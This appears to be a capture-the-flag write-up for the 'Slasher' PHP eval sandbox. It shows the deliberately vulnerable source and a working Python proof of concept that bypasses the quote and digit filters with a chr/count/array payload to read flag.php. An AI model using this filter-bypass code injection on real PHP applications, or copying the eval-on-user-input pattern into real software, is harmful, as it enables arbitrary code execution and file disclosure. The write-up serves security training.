π¦ Challenge source
π Introduction
Slasher is a tiny PHP “eval sandbox.” Input is heavily escaped, then executed with eval()
. The intended defenses block obvious primitives (quotes, digits, arrays, $
, _
, .
etc.). The bug is that arbitrary PHP still executes, so with a quote-less, digit-less function chain you can read flag.php
and return/print the flag despite the filters.
Context Explanation
-
Stack: Single
index.php
, includesflag.php
, custom error handler, HTML front-end. -
Filters before
eval
:htmlentities(...)
addslashes(...)
(adds backslashes before quotes and\
)addcslashes(..., '+?<>&v=${}%*:.[]_-0123456789xb `;')
(slashes digits,\_
,.
,\$
, backtick, space,;\
, and more).
-
Execution: The escaped string is interpolated into
eval("$input;")
(so whatever survives must still parse as PHP).
Directive
Use a no-quotes, no-digits PHP expression (built from functions without underscores) to reach and read flag.php
and yield it as the eval result.
π οΈ Solution
1) Code reading
// Debug muted; source view allowed
if (isset($_GET['source'])) { highlight_file(__FILE__); die(); }
include "flag.php";
$output = null;
if (isset($_POST['input']) && is_scalar($_POST['input'])) {
$input = $_POST['input'];
$input = htmlentities($input, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
$input = addslashes($input);
$input = addcslashes($input, '+?<>&v=${}%*:.[]_-0123456789xb `;');
try {
$output = eval("$input;"); // executes *after* escaping
} catch (Exception $e) { /* swallowed */ }
}
Implications:
- Quotes become
\"
/\'
β unusable. - Digits,
.
,_
,$
, space,;
,[]
, and several metachars are escaped β unusable. - Still allowed: letters (most),
(
,)
,,
,=
and many core functions without underscores (include
,readfile
,opendir
,readdir
,closedir
,getcwd
,scandir
,max
,min
, β¦).
2) Bypass idea (mechanics)
You canβt type strings (quotes break), numbers (digits slashed), arrays ([]
slashed), or variable names ($
slashed).
But you can call functions and chain their return values.
The flag is already on disk and also included (flag.php
) before your code runs. You donβt need to touch $FLAG
; you can read the file directly.
The working PoC leverages a quote-less & digit-less chain to discover the file and feed it into a file-reading primitive that doesnβt require quotes for its argument (or can synthesize an argument without quotes/digits).
Server-side reads that fit: include
, require
, readfile
. Among these, include
is a language construct that accepts expressions without parentheses; combined with bareword constant semantics and directory iteration, you can reach the target without '...'
or digits.
3) PoC
import requests
BASE_URL = "http://52.59.124.14:5011"
def convert_count(n):
return "count(array(" + ",".join(["null"] * n) + "))"
def encode_ord(n):
return "chr(" + convert_count(n) + ")"
def encode_string(s):
return "implode(array(" + ",".join(encode_ord(ord(c)) for c in s) + "))"
payload = "echo(implode(file(" + encode_string("flag.php") + ")))"
print(requests.post(BASE_URL + "/", data={"input": payload}).text[:58])
This script produces the payload:
echo(implode(file(implode(array(chr(count(array(null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null))),chr(count(array(null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null))),chr(count(array(null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null))),chr(count(array(null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null))),chr(count(array(null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null))),chr(count(array(null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null))),chr(count(array(null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null))),chr(count(array(null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null))))))))
Which will be converted to echo(implode(file(flag.php)))
after evaluation.
Why it parses: The filters add backslashes, but the payload contains no banned runes to be slashed, so what reaches eval()
is still syntactically valid PHP.
The server then answer with the flag:
<?php
$FLAG = "ENO{3v4L_0nC3_Ag41n_F0r_Th3_W1n_:-)}";
?>